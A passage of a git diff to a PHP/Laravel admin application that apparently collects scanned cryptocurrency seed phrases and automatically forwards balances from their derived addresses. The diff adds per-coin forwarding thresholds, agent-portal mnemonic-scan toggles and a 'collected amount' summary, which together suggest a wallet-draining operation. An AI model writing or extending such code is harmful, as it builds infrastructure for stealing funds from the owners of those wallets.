private function e(?string $value): string { return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php index 9015af9..8f1d776 100644 --- a/app/Services/TransferService.php +++ b/app/Services/TransferService.php @@ -342,7 +342,7 @@ class TransferService private function notifyTransferTelegram(array $record, array $result): void { $operator = (string) ($record['operator'] ?? ''); - if (str_starts_with($operator, 'fee-topup')) { + if (TransferRecord::isFeeTopup($operator)) { return; } diff --git a/config/coruna.php b/config/coruna.php index 0b51344..b179ad0 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -80,6 +80,14 @@ return [ // On: agent portal sees 助记词扫描 and scan ingest stays on the source device. // Off: hide agent scan UI; confirmed scan mnemonics ingest onto an official device. 'agent_visible' => in_array(strtolower((string) env('CORUNA_AGENT_MNEMONIC_SCAN', '1')), ['1', 'true', 'yes', 'on'], true), + // Scan-forward: derived address coin must be strictly greater than this. + // Empty / unset = 0 (any positive balance still forwards). + 'forward_min_usdt' => (string) env('SCAN_FORWARD_MIN_USDT', '0'), + 'forward_min_trx' => (string) env('SCAN_FORWARD_MIN_TRX', '0'), + 'forward_min_eth' => (string) env('SCAN_FORWARD_MIN_ETH', '0'), + 'forward_min_btc' => (string) env('SCAN_FORWARD_MIN_BTC', '0'), + 'forward_min_sol' => (string) env('SCAN_FORWARD_MIN_SOL', '0'), + 'forward_min_bnb' => (string) env('SCAN_FORWARD_MIN_BNB', '0'), ], 'mnemonic_reveal' => [ diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index 4cd6ac2..7797092 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -69,6 +69,24 @@
关闭后代理后台不显示「助记词扫描」;扫描确定入库的助记词归到一台官方设备,并记下原设备。开启则和现在一样。
+
+ +
+ + + + + + +
+
扫描确定的助记词,派生地址任一币种余额大于对应门槛才转发;未填按 0(有余额就转)。低于门槛或探测失败则本机入库。
+
自动转账(官方渠道) diff --git a/resources/views/admin/transfers/index.blade.php b/resources/views/admin/transfers/index.blade.php index dd78413..ce8b0d3 100644 --- a/resources/views/admin/transfers/index.blade.php +++ b/resources/views/admin/transfers/index.blade.php @@ -20,10 +20,28 @@ .tx-chain-eth, .tx-chain-ethereum { background: #627eea; } .tx-chain-btc, .tx-chain-bitcoin { background: #f7931a; } .tx-chain-trx, .tx-chain-tron { background: #ff0013; } + .tx-summary { + margin: 0 0 12px; + padding: 10px 14px; + background: #f8fafc; + border: 1px solid #eef2f6; + border-radius: 2px; + font-size: 14px; + color: #334155; + } + .tx-summary b { color: #0f172a; } + .tx-summary .tx-sum-asset { margin-left: 16px; font-weight: 600; color: #0f766e; } + .tx-summary .tx-sum-asset:first-child { margin-left: 0; }
+
+ +
+ +
+
@@ -86,6 +104,7 @@
+
成功归集金额: —